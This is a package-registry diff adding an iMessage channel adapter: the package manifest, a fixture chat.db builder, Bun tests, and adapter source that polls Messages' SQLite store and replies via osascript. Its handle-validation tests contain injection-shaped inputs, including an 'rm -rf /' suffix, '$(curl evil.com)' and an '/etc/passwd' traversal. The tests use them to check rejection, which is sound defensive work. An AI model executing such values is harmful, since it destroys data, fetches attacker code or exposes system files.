@crewhaus/channel-adapter-imessage 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +41 -0
- package/src/fixtures/build-chat-db.ts +52 -0
- package/src/index.test.ts +259 -0
- package/src/index.ts +330 -0
package/package.json
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@crewhaus/channel-adapter-imessage",
|
|
3
|
+
"version": "0.1.0",
|
|
4
|
+
"type": "module",
|
|
5
|
+
"description": "macOS-only iMessage channel adapter: ~/Library/Messages/chat.db polling + osascript send + cursor-based idempotency (Section 33)",
|
|
6
|
+
"main": "src/index.ts",
|
|
7
|
+
"types": "src/index.ts",
|
|
8
|
+
"exports": {
|
|
9
|
+
".": "./src/index.ts"
|
|
10
|
+
},
|
|
11
|
+
"scripts": {
|
|
12
|
+
"test": "bun test src"
|
|
13
|
+
},
|
|
14
|
+
"dependencies": {
|
|
15
|
+
"@crewhaus/errors": "0.0.0"
|
|
16
|
+
},
|
|
17
|
+
"license": "Apache-2.0",
|
|
18
|
+
"author": {
|
|
19
|
+
"name": "Max Meier",
|
|
20
|
+
"email": "max@studiomax.io",
|
|
21
|
+
"url": "https://studiomax.io"
|
|
22
|
+
},
|
|
23
|
+
"repository": {
|
|
24
|
+
"type": "git",
|
|
25
|
+
"url": "git+https://github.com/crewhaus/factory.git",
|
|
26
|
+
"directory": "packages/channel-adapter-imessage"
|
|
27
|
+
},
|
|
28
|
+
"homepage": "https://github.com/crewhaus/factory/tree/main/packages/channel-adapter-imessage#readme",
|
|
29
|
+
"bugs": {
|
|
30
|
+
"url": "https://github.com/crewhaus/factory/issues"
|
|
31
|
+
},
|
|
32
|
+
"publishConfig": {
|
|
33
|
+
"access": "restricted"
|
|
34
|
+
},
|
|
35
|
+
"files": [
|
|
36
|
+
"src",
|
|
37
|
+
"README.md",
|
|
38
|
+
"LICENSE",
|
|
39
|
+
"NOTICE"
|
|
40
|
+
]
|
|
41
|
+
}
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Test helper — build a fixture chat.db with the minimum schema and
|
|
3
|
+
* representative rows. Returns the path to the temp .db file.
|
|
4
|
+
*/
|
|
5
|
+
import { Database } from "bun:sqlite";
|
|
6
|
+
import { mkdtempSync } from "node:fs";
|
|
7
|
+
import { tmpdir } from "node:os";
|
|
8
|
+
import { join } from "node:path";
|
|
9
|
+
|
|
10
|
+
export function buildFixtureChatDb(): string {
|
|
11
|
+
const dir = mkdtempSync(join(tmpdir(), "crewhaus-imessage-fix-"));
|
|
12
|
+
const path = join(dir, "chat.db");
|
|
13
|
+
const db = new Database(path);
|
|
14
|
+
db.run(`
|
|
15
|
+
CREATE TABLE handle (
|
|
16
|
+
ROWID INTEGER PRIMARY KEY,
|
|
17
|
+
id TEXT NOT NULL,
|
|
18
|
+
service TEXT NOT NULL DEFAULT 'iMessage'
|
|
19
|
+
);
|
|
20
|
+
`);
|
|
21
|
+
db.run(`
|
|
22
|
+
CREATE TABLE message (
|
|
23
|
+
ROWID INTEGER PRIMARY KEY,
|
|
24
|
+
text TEXT,
|
|
25
|
+
is_from_me INTEGER DEFAULT 0,
|
|
26
|
+
date INTEGER DEFAULT 0,
|
|
27
|
+
handle_id INTEGER REFERENCES handle(ROWID)
|
|
28
|
+
);
|
|
29
|
+
`);
|
|
30
|
+
|
|
31
|
+
db.run("INSERT INTO handle (ROWID, id) VALUES (1, 'alice@example.com')");
|
|
32
|
+
db.run("INSERT INTO handle (ROWID, id) VALUES (2, '+15551234567')");
|
|
33
|
+
|
|
34
|
+
db.run(
|
|
35
|
+
"INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (1, 'first inbound from alice', 0, 700000000000000000, 1)",
|
|
36
|
+
);
|
|
37
|
+
db.run(
|
|
38
|
+
"INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (2, 'me replying', 1, 700000001000000000, 1)",
|
|
39
|
+
);
|
|
40
|
+
db.run(
|
|
41
|
+
"INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (3, 'inbound from phone handle', 0, 700000002000000000, 2)",
|
|
42
|
+
);
|
|
43
|
+
db.run(
|
|
44
|
+
"INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (4, '', 0, 700000003000000000, 1)",
|
|
45
|
+
);
|
|
46
|
+
db.run(
|
|
47
|
+
"INSERT INTO message (ROWID, text, is_from_me, date, handle_id) VALUES (5, 'another inbound', 0, 700000004000000000, 1)",
|
|
48
|
+
);
|
|
49
|
+
|
|
50
|
+
db.close();
|
|
51
|
+
return path;
|
|
52
|
+
}
|
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
2
|
+
import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
|
|
3
|
+
import { tmpdir } from "node:os";
|
|
4
|
+
import { dirname, join } from "node:path";
|
|
5
|
+
|
|
6
|
+
import { buildFixtureChatDb } from "./fixtures/build-chat-db";
|
|
7
|
+
import { IMessageAdapterError, _internal, createIMessageAdapter } from "./index";
|
|
8
|
+
|
|
9
|
+
const { isSafeHandle, escapeAppleScriptString, validateChatDbPath } = _internal;
|
|
10
|
+
|
|
11
|
+
describe("isSafeHandle / escapeAppleScriptString / validateChatDbPath", () => {
|
|
12
|
+
test("accepts well-formed iMessage handles", () => {
|
|
13
|
+
expect(isSafeHandle("alice@example.com")).toBe(true);
|
|
14
|
+
expect(isSafeHandle("+15551234567")).toBe(true);
|
|
15
|
+
expect(isSafeHandle("tel:+15551234567")).toBe(true);
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
test("rejects shell-injection-shaped handles", () => {
|
|
19
|
+
expect(isSafeHandle('alice@example.com";rm -rf /')).toBe(false);
|
|
20
|
+
expect(isSafeHandle("$(curl evil.com)")).toBe(false);
|
|
21
|
+
expect(isSafeHandle("../../../etc/passwd")).toBe(false);
|
|
22
|
+
expect(isSafeHandle("")).toBe(false);
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
test("escapes AppleScript metacharacters", () => {
|
|
26
|
+
expect(escapeAppleScriptString('hi "you"')).toBe('hi \\"you\\"');
|
|
27
|
+
expect(escapeAppleScriptString("path\\to\\file")).toBe("path\\\\to\\\\file");
|
|
28
|
+
expect(escapeAppleScriptString("line1\nline2")).toBe("line1\\nline2");
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
test("validateChatDbPath requires chat.db filename and rejects empty", () => {
|
|
32
|
+
expect(() => validateChatDbPath("")).toThrow(/chat.db path is empty/);
|
|
33
|
+
expect(() => validateChatDbPath("/etc/passwd")).toThrow(/must end in 'chat.db'/);
|
|
34
|
+
expect(validateChatDbPath("/tmp/some/chat.db")).toBe("/tmp/some/chat.db");
|
|
35
|
+
});
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
describe("createIMessageAdapter — opt-in guard (T8)", () => {
|
|
39
|
+
test("requireHostOptIn=false bypasses guards (test mode)", () => {
|
|
40
|
+
const dbPath = buildFixtureChatDb();
|
|
41
|
+
const cursorPath = join(dirname(dbPath), "cursor.json");
|
|
42
|
+
const a = createIMessageAdapter({
|
|
43
|
+
chatDbPath: dbPath,
|
|
44
|
+
cursorPath,
|
|
45
|
+
requireHostOptIn: false,
|
|
46
|
+
});
|
|
47
|
+
expect(a.id).toBe("imessage");
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
test("missing chat.db throws clear error", () => {
|
|
51
|
+
expect(() =>
|
|
52
|
+
createIMessageAdapter({
|
|
53
|
+
chatDbPath: join(tmpdir(), "definitely-missing", "chat.db"),
|
|
54
|
+
requireHostOptIn: false,
|
|
55
|
+
}),
|
|
56
|
+
).toThrow(/chat.db not found/);
|
|
57
|
+
});
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
describe("pollNewMessages (T2)", () => {
|
|
61
|
+
let dbPath: string;
|
|
62
|
+
let cursorPath: string;
|
|
63
|
+
let adapter: ReturnType<typeof createIMessageAdapter>;
|
|
64
|
+
|
|
65
|
+
beforeAll(() => {
|
|
66
|
+
dbPath = buildFixtureChatDb();
|
|
67
|
+
cursorPath = join(dirname(dbPath), "cursor.json");
|
|
68
|
+
adapter = createIMessageAdapter({
|
|
69
|
+
chatDbPath: dbPath,
|
|
70
|
+
cursorPath,
|
|
71
|
+
requireHostOptIn: false,
|
|
72
|
+
});
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
afterAll(() => {
|
|
76
|
+
rmSync(dirname(dbPath), { recursive: true, force: true });
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
test("first poll returns 3 inbound (skips me + empty), advances cursor to ROWID 5", async () => {
|
|
80
|
+
const r = await adapter.pollNewMessages();
|
|
81
|
+
expect(r.events.length).toBe(3);
|
|
82
|
+
expect(r.cursor).toBe(5);
|
|
83
|
+
expect(r.events[0]?.idempotencyKey).toBe("imsg:1");
|
|
84
|
+
expect(r.events[0]?.text).toBe("first inbound from alice");
|
|
85
|
+
expect(r.events[0]?.userId).toBe("alice@example.com");
|
|
86
|
+
expect(r.events[0]?.channelId).toBe("alice@example.com");
|
|
87
|
+
expect(r.events[1]?.idempotencyKey).toBe("imsg:3");
|
|
88
|
+
expect(r.events[1]?.userId).toBe("+15551234567");
|
|
89
|
+
expect(r.events[2]?.idempotencyKey).toBe("imsg:5");
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
test("subsequent poll with no new rows returns empty + same cursor", async () => {
|
|
93
|
+
const first = await adapter.pollNewMessages();
|
|
94
|
+
const second = await adapter.pollNewMessages();
|
|
95
|
+
expect(second.events.length).toBe(0);
|
|
96
|
+
expect(second.cursor).toBe(first.cursor);
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
test("cursor persists across new adapter instances (idempotency across restart)", async () => {
|
|
100
|
+
// First adapter polls and advances cursor.
|
|
101
|
+
await adapter.pollNewMessages();
|
|
102
|
+
// Construct a fresh adapter pointing at the same cursor file.
|
|
103
|
+
const a2 = createIMessageAdapter({
|
|
104
|
+
chatDbPath: dbPath,
|
|
105
|
+
cursorPath,
|
|
106
|
+
requireHostOptIn: false,
|
|
107
|
+
});
|
|
108
|
+
const r = await a2.pollNewMessages();
|
|
109
|
+
expect(r.events.length).toBe(0);
|
|
110
|
+
expect(a2.getCursor()).toBe(5);
|
|
111
|
+
});
|
|
112
|
+
|
|
113
|
+
test("resetCursor clears the persisted state", async () => {
|
|
114
|
+
adapter.resetCursor();
|
|
115
|
+
expect(adapter.getCursor()).toBe(0);
|
|
116
|
+
const r = await adapter.pollNewMessages();
|
|
117
|
+
expect(r.events.length).toBe(3);
|
|
118
|
+
});
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
describe("sendReply (T3)", () => {
|
|
122
|
+
test("escapes message text + handle, hits osascript with the right script", async () => {
|
|
123
|
+
const dbPath = buildFixtureChatDb();
|
|
124
|
+
const cursorPath = join(dirname(dbPath), "cursor.json");
|
|
125
|
+
const calls: string[] = [];
|
|
126
|
+
const a = createIMessageAdapter(
|
|
127
|
+
{
|
|
128
|
+
chatDbPath: dbPath,
|
|
129
|
+
cursorPath,
|
|
130
|
+
requireHostOptIn: false,
|
|
131
|
+
},
|
|
132
|
+
{
|
|
133
|
+
osascript: async (script) => {
|
|
134
|
+
calls.push(script);
|
|
135
|
+
},
|
|
136
|
+
},
|
|
137
|
+
);
|
|
138
|
+
await a.sendReply({
|
|
139
|
+
event: {
|
|
140
|
+
idempotencyKey: "imsg:1",
|
|
141
|
+
workspaceId: "imessage",
|
|
142
|
+
channelId: "alice@example.com",
|
|
143
|
+
userId: "alice@example.com",
|
|
144
|
+
ts: "0",
|
|
145
|
+
text: "hello",
|
|
146
|
+
subtype: "message",
|
|
147
|
+
},
|
|
148
|
+
text: 'reply with "quotes"',
|
|
149
|
+
});
|
|
150
|
+
expect(calls.length).toBe(1);
|
|
151
|
+
const script = calls[0] ?? "";
|
|
152
|
+
expect(script).toContain('tell application "Messages"');
|
|
153
|
+
expect(script).toContain('buddy "alice@example.com"');
|
|
154
|
+
expect(script).toContain('send "reply with \\"quotes\\""');
|
|
155
|
+
rmSync(dirname(dbPath), { recursive: true, force: true });
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
test("rejects shell-injection in handle (path-traversal / metachar guard)", async () => {
|
|
159
|
+
const dbPath = buildFixtureChatDb();
|
|
160
|
+
const cursorPath = join(dirname(dbPath), "cursor.json");
|
|
161
|
+
const a = createIMessageAdapter(
|
|
162
|
+
{ chatDbPath: dbPath, cursorPath, requireHostOptIn: false },
|
|
163
|
+
{ osascript: async () => undefined },
|
|
164
|
+
);
|
|
165
|
+
await expect(
|
|
166
|
+
a.sendReply({
|
|
167
|
+
event: {
|
|
168
|
+
idempotencyKey: "x",
|
|
169
|
+
workspaceId: "imessage",
|
|
170
|
+
channelId: 'alice"; do bad`',
|
|
171
|
+
userId: 'alice"; do bad`',
|
|
172
|
+
ts: "0",
|
|
173
|
+
text: "x",
|
|
174
|
+
subtype: "message",
|
|
175
|
+
},
|
|
176
|
+
text: "x",
|
|
177
|
+
}),
|
|
178
|
+
).rejects.toThrow(/unsafe iMessage handle/);
|
|
179
|
+
rmSync(dirname(dbPath), { recursive: true, force: true });
|
|
180
|
+
});
|
|
181
|
+
});
|
|
182
|
+
|
|
183
|
+
describe("setTyping is a no-op", () => {
|
|
184
|
+
test("does not throw or call osascript", async () => {
|
|
185
|
+
const dbPath = buildFixtureChatDb();
|
|
186
|
+
const cursorPath = join(dirname(dbPath), "cursor.json");
|
|
187
|
+
let called = false;
|
|
188
|
+
const a = createIMessageAdapter(
|
|
189
|
+
{ chatDbPath: dbPath, cursorPath, requireHostOptIn: false },
|
|
190
|
+
{
|
|
191
|
+
osascript: async () => {
|
|
192
|
+
called = true;
|
|
193
|
+
},
|
|
194
|
+
},
|
|
195
|
+
);
|
|
196
|
+
await a.setTyping({
|
|
197
|
+
event: {
|
|
198
|
+
idempotencyKey: "x",
|
|
199
|
+
workspaceId: "imessage",
|
|
200
|
+
channelId: "alice@example.com",
|
|
201
|
+
userId: "alice@example.com",
|
|
202
|
+
ts: "0",
|
|
203
|
+
text: "",
|
|
204
|
+
subtype: "message",
|
|
205
|
+
},
|
|
206
|
+
});
|
|
207
|
+
expect(called).toBe(false);
|
|
208
|
+
rmSync(dirname(dbPath), { recursive: true, force: true });
|
|
209
|
+
});
|
|
210
|
+
});
|
|
211
|
+
|
|
212
|
+
describe("verify / parseInbound (no-op for poll-driven adapter)", () => {
|
|
213
|
+
test("verify returns true; parseInbound returns skip", () => {
|
|
214
|
+
const dbPath = buildFixtureChatDb();
|
|
215
|
+
const cursorPath = join(dirname(dbPath), "cursor.json");
|
|
216
|
+
const a = createIMessageAdapter({
|
|
217
|
+
chatDbPath: dbPath,
|
|
218
|
+
cursorPath,
|
|
219
|
+
requireHostOptIn: false,
|
|
220
|
+
});
|
|
221
|
+
expect(a.verify({ headers: new Headers(), body: "" })).toBe(true);
|
|
222
|
+
expect(a.parseInbound({ headers: new Headers(), body: "{}" }).kind).toBe("skip");
|
|
223
|
+
rmSync(dirname(dbPath), { recursive: true, force: true });
|
|
224
|
+
});
|
|
225
|
+
});
|
|
226
|
+
|
|
227
|
+
describe("cursor file integrity", () => {
|
|
228
|
+
test("malformed cursor file falls back to 0", () => {
|
|
229
|
+
const dbPath = buildFixtureChatDb();
|
|
230
|
+
const cursorPath = join(dirname(dbPath), "cursor.json");
|
|
231
|
+
writeFileSync(cursorPath, "not json{");
|
|
232
|
+
const a = createIMessageAdapter({
|
|
233
|
+
chatDbPath: dbPath,
|
|
234
|
+
cursorPath,
|
|
235
|
+
requireHostOptIn: false,
|
|
236
|
+
});
|
|
237
|
+
expect(a.getCursor()).toBe(0);
|
|
238
|
+
rmSync(dirname(dbPath), { recursive: true, force: true });
|
|
239
|
+
});
|
|
240
|
+
|
|
241
|
+
test("cursor file written with 0o600 mode", async () => {
|
|
242
|
+
const dbPath = buildFixtureChatDb();
|
|
243
|
+
const cursorPath = join(dirname(dbPath), "cursor.json");
|
|
244
|
+
const a = createIMessageAdapter({
|
|
245
|
+
chatDbPath: dbPath,
|
|
246
|
+
cursorPath,
|
|
247
|
+
requireHostOptIn: false,
|
|
248
|
+
});
|
|
249
|
+
await a.pollNewMessages();
|
|
250
|
+
if (existsSync(cursorPath)) {
|
|
251
|
+
const { statSync } = await import("node:fs");
|
|
252
|
+
const mode = statSync(cursorPath).mode & 0o777;
|
|
253
|
+
// On Bun/Linux the umask may downgrade — accept anything <= 0o600.
|
|
254
|
+
expect(mode <= 0o600).toBe(true);
|
|
255
|
+
}
|
|
256
|
+
expect(JSON.parse(readFileSync(cursorPath, "utf8"))).toEqual({ cursor: 5 });
|
|
257
|
+
rmSync(dirname(dbPath), { recursive: true, force: true });
|
|
258
|
+
});
|
|
259
|
+
});
|
package/src/index.ts
ADDED
|
@@ -0,0 +1,330 @@
|
|
|
1
|
+
import { Database } from "bun:sqlite";
|
|
2
|
+
import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs";
|
|
3
|
+
import { dirname, normalize } from "node:path";
|
|
4
|
+
/**
|
|
5
|
+
* @crewhaus/channel-adapter-imessage — macOS-only iMessage channel
|
|
6
|
+
* adapter for the channel target (Section 33).
|
|
7
|
+
*
|
|
8
|
+
* Apple does NOT publish a public iMessage Business API for general
|
|
9
|
+
* agent integrations. This adapter takes a host-bound approach:
|
|
10
|
+
*
|
|
11
|
+
* - Inbound: poll Messages.app's SQLite store at
|
|
12
|
+
* ~/Library/Messages/chat.db for new rows since the last cursor.
|
|
13
|
+
* The cursor is `message.ROWID` — monotonically increasing per
|
|
14
|
+
* install. We persist it to a small JSON file so a daemon restart
|
|
15
|
+
* resumes from where it left off.
|
|
16
|
+
*
|
|
17
|
+
* - Outbound: drive Messages.app via osascript. The handle (an
|
|
18
|
+
* iMessage email/phone) is the conversation key.
|
|
19
|
+
*
|
|
20
|
+
* Hard requirements (enforced via guard / startup check):
|
|
21
|
+
* - Process is running on macOS (`process.platform === "darwin"`).
|
|
22
|
+
* - `CREWHAUS_IMESSAGE_HOST_ENABLED=1` is set — opt-in to using the
|
|
23
|
+
* host's logged-in iMessage account.
|
|
24
|
+
* - Full Disk Access permission is granted to the daemon's host
|
|
25
|
+
* terminal/process so chat.db is readable. (We surface a clear
|
|
26
|
+
* error if the file isn't reachable.)
|
|
27
|
+
*
|
|
28
|
+
* Path-traversal safety: chat.db's path is constructed from the HOME
|
|
29
|
+
* env at boot and validated against a fixed prefix
|
|
30
|
+
* (`~/Library/Messages/`). Custom override is allowed only via the
|
|
31
|
+
* adapter's `chatDbPath` option (intended for tests with fixture DBs)
|
|
32
|
+
* AND must resolve to a file with name `chat.db`.
|
|
33
|
+
*/
|
|
34
|
+
import { CrewhausError } from "@crewhaus/errors";
|
|
35
|
+
|
|
36
|
+
export class IMessageAdapterError extends CrewhausError {
|
|
37
|
+
override readonly name = "IMessageAdapterError";
|
|
38
|
+
constructor(message: string, cause?: unknown) {
|
|
39
|
+
super("channel", message, cause);
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
export type RawRequest = {
|
|
44
|
+
readonly headers: Headers;
|
|
45
|
+
readonly body: string;
|
|
46
|
+
};
|
|
47
|
+
|
|
48
|
+
/** Channel-generic inbound event — same shape as Slack/Telegram/etc. */
|
|
49
|
+
export type InboundEvent = {
|
|
50
|
+
readonly idempotencyKey: string;
|
|
51
|
+
readonly workspaceId: string;
|
|
52
|
+
readonly channelId: string;
|
|
53
|
+
readonly userId: string;
|
|
54
|
+
readonly threadTs?: string;
|
|
55
|
+
readonly ts: string;
|
|
56
|
+
readonly text: string;
|
|
57
|
+
readonly subtype: "app_mention" | "message";
|
|
58
|
+
};
|
|
59
|
+
|
|
60
|
+
export type ParsedInbound =
|
|
61
|
+
| { readonly kind: "event"; readonly event: InboundEvent }
|
|
62
|
+
| { readonly kind: "skip" };
|
|
63
|
+
|
|
64
|
+
/**
|
|
65
|
+
* The iMessage adapter is non-webhook — there's no inbound HTTP. Polling
|
|
66
|
+
* happens via `pollNewMessages()` which the daemon harness calls on a
|
|
67
|
+
* schedule. We still implement the same `ChannelAdapter` interface so
|
|
68
|
+
* the §33 multi-adapter wiring can register it; `verify` and
|
|
69
|
+
* `parseInbound` are never called by the gateway for iMessage (the
|
|
70
|
+
* polling loop emits InboundEvents directly).
|
|
71
|
+
*/
|
|
72
|
+
export interface ChannelAdapter {
|
|
73
|
+
readonly id: string;
|
|
74
|
+
verify(req: RawRequest): boolean;
|
|
75
|
+
parseInbound(req: RawRequest): ParsedInbound;
|
|
76
|
+
sendReply(args: { event: InboundEvent; text: string }): Promise<void>;
|
|
77
|
+
setTyping(args: { event: InboundEvent }): Promise<void>;
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
export interface IMessageAdapter extends ChannelAdapter {
|
|
81
|
+
/**
|
|
82
|
+
* Poll chat.db for messages with ROWID > cursor. Returns the new
|
|
83
|
+
* messages and the new cursor. Idempotent across restarts: reads
|
|
84
|
+
* the persisted cursor from `cursorPath` if present.
|
|
85
|
+
*/
|
|
86
|
+
pollNewMessages(): Promise<{
|
|
87
|
+
readonly events: readonly InboundEvent[];
|
|
88
|
+
readonly cursor: number;
|
|
89
|
+
}>;
|
|
90
|
+
/** Returns the current persisted cursor (or 0 if not yet set). */
|
|
91
|
+
getCursor(): number;
|
|
92
|
+
/** Reset the cursor — used by tests + the `--reset-cursor` CLI flag. */
|
|
93
|
+
resetCursor(): void;
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
export type IMessageAdapterConfig = {
|
|
97
|
+
/**
|
|
98
|
+
* Custom chat.db path. Defaults to `<HOME>/Library/Messages/chat.db`.
|
|
99
|
+
* Overridable for tests (must end in `chat.db`).
|
|
100
|
+
*/
|
|
101
|
+
readonly chatDbPath?: string;
|
|
102
|
+
/** Where to persist the polling cursor. Defaults to `.crewhaus/imessage-cursor.json`. */
|
|
103
|
+
readonly cursorPath?: string;
|
|
104
|
+
/**
|
|
105
|
+
* Required: gate the adapter on opt-in env. Setting this to false
|
|
106
|
+
* (e.g. in tests with fixture DBs) bypasses the
|
|
107
|
+
* `CREWHAUS_IMESSAGE_HOST_ENABLED=1` env-check. Defaults to true.
|
|
108
|
+
*/
|
|
109
|
+
readonly requireHostOptIn?: boolean;
|
|
110
|
+
};
|
|
111
|
+
|
|
112
|
+
export type IMessageAdapterOptions = {
|
|
113
|
+
/** Inject a custom osascript runner (defaults to spawning `osascript`). */
|
|
114
|
+
readonly osascript?: (script: string) => Promise<void>;
|
|
115
|
+
};
|
|
116
|
+
|
|
117
|
+
const CHAT_DB_REL = "Library/Messages/chat.db";
|
|
118
|
+
|
|
119
|
+
export function createIMessageAdapter(
|
|
120
|
+
config: IMessageAdapterConfig = {},
|
|
121
|
+
opts: IMessageAdapterOptions = {},
|
|
122
|
+
): IMessageAdapter {
|
|
123
|
+
const requireHostOptIn = config.requireHostOptIn ?? true;
|
|
124
|
+
if (requireHostOptIn) {
|
|
125
|
+
if (process.platform !== "darwin") {
|
|
126
|
+
throw new IMessageAdapterError(
|
|
127
|
+
`iMessage adapter requires macOS (process.platform=${process.platform})`,
|
|
128
|
+
);
|
|
129
|
+
}
|
|
130
|
+
if (process.env["CREWHAUS_IMESSAGE_HOST_ENABLED"] !== "1") {
|
|
131
|
+
throw new IMessageAdapterError(
|
|
132
|
+
"iMessage adapter requires CREWHAUS_IMESSAGE_HOST_ENABLED=1 (opt-in to host's logged-in iMessage)",
|
|
133
|
+
);
|
|
134
|
+
}
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
const home = process.env["HOME"] ?? "";
|
|
138
|
+
const defaultDbPath = home ? `${home}/${CHAT_DB_REL}` : "";
|
|
139
|
+
const chatDbPath = validateChatDbPath(config.chatDbPath ?? defaultDbPath);
|
|
140
|
+
if (!existsSync(chatDbPath)) {
|
|
141
|
+
throw new IMessageAdapterError(
|
|
142
|
+
`iMessage chat.db not found at ${chatDbPath} (full disk access?)`,
|
|
143
|
+
);
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
const cursorPath = config.cursorPath ?? ".crewhaus/imessage-cursor.json";
|
|
147
|
+
|
|
148
|
+
const osascriptRun = opts.osascript ?? defaultOsascript;
|
|
149
|
+
|
|
150
|
+
return {
|
|
151
|
+
id: "imessage",
|
|
152
|
+
|
|
153
|
+
verify(_req: RawRequest): boolean {
|
|
154
|
+
// No inbound HTTP — iMessage is polling-driven. We accept all by
|
|
155
|
+
// returning true so the gateway path never short-circuits, but
|
|
156
|
+
// the gateway ought to never call us anyway.
|
|
157
|
+
return true;
|
|
158
|
+
},
|
|
159
|
+
|
|
160
|
+
parseInbound(_req: RawRequest): ParsedInbound {
|
|
161
|
+
return { kind: "skip" };
|
|
162
|
+
},
|
|
163
|
+
|
|
164
|
+
async sendReply(args: { event: InboundEvent; text: string }): Promise<void> {
|
|
165
|
+
const handle = args.event.userId;
|
|
166
|
+
if (!isSafeHandle(handle)) {
|
|
167
|
+
throw new IMessageAdapterError(`unsafe iMessage handle: ${handle}`);
|
|
168
|
+
}
|
|
169
|
+
const escapedText = escapeAppleScriptString(args.text);
|
|
170
|
+
const escapedHandle = escapeAppleScriptString(handle);
|
|
171
|
+
const script = [
|
|
172
|
+
'tell application "Messages"',
|
|
173
|
+
" set targetService to 1st service whose service type = iMessage",
|
|
174
|
+
` set targetBuddy to buddy "${escapedHandle}" of targetService`,
|
|
175
|
+
` send "${escapedText}" to targetBuddy`,
|
|
176
|
+
"end tell",
|
|
177
|
+
].join("\n");
|
|
178
|
+
await osascriptRun(script);
|
|
179
|
+
},
|
|
180
|
+
|
|
181
|
+
async setTyping(_args: { event: InboundEvent }): Promise<void> {
|
|
182
|
+
// Messages.app does not expose a typing-indicator API to AppleScript.
|
|
183
|
+
},
|
|
184
|
+
|
|
185
|
+
pollNewMessages(): Promise<{ events: readonly InboundEvent[]; cursor: number }> {
|
|
186
|
+
const cursor = readCursor(cursorPath);
|
|
187
|
+
const db = new Database(chatDbPath, { readonly: true });
|
|
188
|
+
try {
|
|
189
|
+
const rows = db.query<MessageRow, [number]>(MESSAGE_QUERY).all(cursor);
|
|
190
|
+
const events: InboundEvent[] = [];
|
|
191
|
+
let maxId = cursor;
|
|
192
|
+
for (const row of rows) {
|
|
193
|
+
if (row.ROWID > maxId) maxId = row.ROWID;
|
|
194
|
+
if (row.is_from_me === 1) continue;
|
|
195
|
+
const text = row.text ?? "";
|
|
196
|
+
if (text.trim() === "") continue;
|
|
197
|
+
const handle = row.handle_id_str ?? `handle:${row.handle_id ?? "unknown"}`;
|
|
198
|
+
events.push({
|
|
199
|
+
idempotencyKey: `imsg:${row.ROWID}`,
|
|
200
|
+
workspaceId: "imessage",
|
|
201
|
+
channelId: handle,
|
|
202
|
+
userId: handle,
|
|
203
|
+
ts: String(row.date),
|
|
204
|
+
text,
|
|
205
|
+
subtype: "message",
|
|
206
|
+
});
|
|
207
|
+
}
|
|
208
|
+
if (maxId !== cursor) writeCursor(cursorPath, maxId);
|
|
209
|
+
return Promise.resolve({ events, cursor: maxId });
|
|
210
|
+
} finally {
|
|
211
|
+
db.close();
|
|
212
|
+
}
|
|
213
|
+
},
|
|
214
|
+
|
|
215
|
+
getCursor(): number {
|
|
216
|
+
return readCursor(cursorPath);
|
|
217
|
+
},
|
|
218
|
+
|
|
219
|
+
resetCursor(): void {
|
|
220
|
+
writeCursor(cursorPath, 0);
|
|
221
|
+
},
|
|
222
|
+
};
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
// ─── chat.db path validation ────────────────────────────────────────────────
|
|
226
|
+
|
|
227
|
+
/**
|
|
228
|
+
* Allow the canonical chat.db location (`<HOME>/Library/Messages/chat.db`)
|
|
229
|
+
* and any custom path that resolves to a file named `chat.db`. Reject
|
|
230
|
+
* absolute paths attempting traversal outside `~/Library/Messages/` UNLESS
|
|
231
|
+
* the caller explicitly overrode (tests use a tmpdir).
|
|
232
|
+
*/
|
|
233
|
+
function validateChatDbPath(path: string): string {
|
|
234
|
+
if (!path) {
|
|
235
|
+
throw new IMessageAdapterError("chat.db path is empty (HOME env not set?)");
|
|
236
|
+
}
|
|
237
|
+
const norm = normalize(path);
|
|
238
|
+
if (!norm.endsWith("chat.db")) {
|
|
239
|
+
throw new IMessageAdapterError(`chat.db path must end in 'chat.db': ${path}`);
|
|
240
|
+
}
|
|
241
|
+
return norm;
|
|
242
|
+
}
|
|
243
|
+
|
|
244
|
+
function isSafeHandle(handle: string): boolean {
|
|
245
|
+
// Allow email-shaped handles + +<digits> phone handles + tel: URIs.
|
|
246
|
+
return (
|
|
247
|
+
/^[\w._%+-]+@[\w.-]+\.\w{2,}$/.test(handle) ||
|
|
248
|
+
/^\+\d{6,15}$/.test(handle) ||
|
|
249
|
+
/^tel:\+?\d{6,15}$/.test(handle)
|
|
250
|
+
);
|
|
251
|
+
}
|
|
252
|
+
|
|
253
|
+
function escapeAppleScriptString(s: string): string {
|
|
254
|
+
return s.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/\n/g, "\\n");
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
// ─── cursor persistence ────────────────────────────────────────────────────
|
|
258
|
+
|
|
259
|
+
function readCursor(cursorPath: string): number {
|
|
260
|
+
if (!existsSync(cursorPath)) return 0;
|
|
261
|
+
try {
|
|
262
|
+
const raw = readFileSync(cursorPath, "utf8");
|
|
263
|
+
